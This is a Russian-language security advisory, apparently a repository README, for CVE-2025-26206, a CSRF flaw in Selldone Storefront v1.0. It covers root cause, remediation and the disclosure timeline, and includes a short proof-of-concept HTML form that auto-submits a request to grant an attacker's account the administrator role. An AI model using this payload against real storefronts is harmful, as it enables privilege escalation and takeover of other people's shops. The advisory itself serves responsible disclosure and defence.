CVE-2025-26206: Межсайтовая подделка запроса (CSRF) в Sell Done Storefront v.1.0

Критическая уязвимость межсайтовой подделки запроса (CSRF) в Selldone Storefront v1.0 позволяет удалённым злоумышленникам повышать привилегии, обманом заставляя аутентифицированных пользователей выполнять запросы, изменяющие состояние, через уровень приложения витрины магазина. Обнаружено и ответственно раскрыто Sibhi Balamurugan (@xibhi).

---

Обзор

Поле	Детали
Идентификатор CVE	CVE-2025-26206
Тип	Межсайтовая подделка запроса (CWE-352)
Продукт	Selldone Storefront
Затронутая версия	v1.0
Компонент	index.html / Инициализация сессии
Воздействие	Повышение привилегий / Захват магазина
CVSS v3.1	9.0 (Критический) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Обнаружитель	Sibhi Balamurugan (@xibhi)

---

Первопричина

В Selldone Storefront v1.0 отсутствовала проверка анти-CSRF токена на конечных точках, изменяющих состояние, а cookies аутентификации хранились без строгих межсайтовых границ (атрибут SameSite не указан).

Когда аутентифицированный владелец магазина или администратор посещает контролируемую злоумышленником веб-страницу, браузер автоматически прикрепляет сессионные cookies к межсайтовым запросам, выполняя привилегированные операции без согласия жертвы.

Сайт злоумышленника → Браузер жертвы (содержит сессию) → Selldone API (cookie отправлен, проверка CSRF отсутствует) → Роль изменена

---

Доказательство концепции (PoC)

Злоумышленник размещает вредоносную страницу с автоматически отправляемой формой, нацеленной на привилегированную конечную точку:

<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
  <input type="hidden" name="user_id" value="attacker_id" />
  <input type="hidden" name="role" value="administrator" />
</form>
<script>
  document.getElementById("csrf").submit();
</script>

Когда аутентифицированный администратор посещает страницу, браузер отправляет запрос с его учётными данными, повышая привилегии учётной записи злоумышленника.

---

Устранение

1. Анти-CSRF токены: Требовать проверенный X-CSRF-TOKEN или синхронизирующий токен для всех запросов, отличных от GET (POST, PUT, DELETE, PATCH).
2. Безопасность cookies: Установить SameSite=Lax или SameSite=Strict, а также флаги Secure и HttpOnly для сессионных cookies.
3. Проверка источника: Проверять заголовки Origin и Referer на всех конечных точках, изменяющих состояние.
4. Обновление: Обновиться до последней версии Selldone Storefront.

---

Хронология раскрытия

Дата	Событие
Февраль 2025	Обнаружено и сообщено поставщику.
24 февраля 2025	Опубликовано первоначальное уведомление.
03 марта 2025	NVD опубликовала запись.
04 марта 2025	NVD присвоила оценку CVSS 9.0 (Критический).

---

Ссылки и благодарности

• Запись NVD (CVE-2025-26206)
• Запись MITRE
• Репозиторий Selldone Storefront
• Шпаргалка OWASP по предотвращению CSRF

Первооткрыватель: Sibhi Balamurugan (@xibhi)

---

Лицензия

Этот проект лицензирован под MIT License.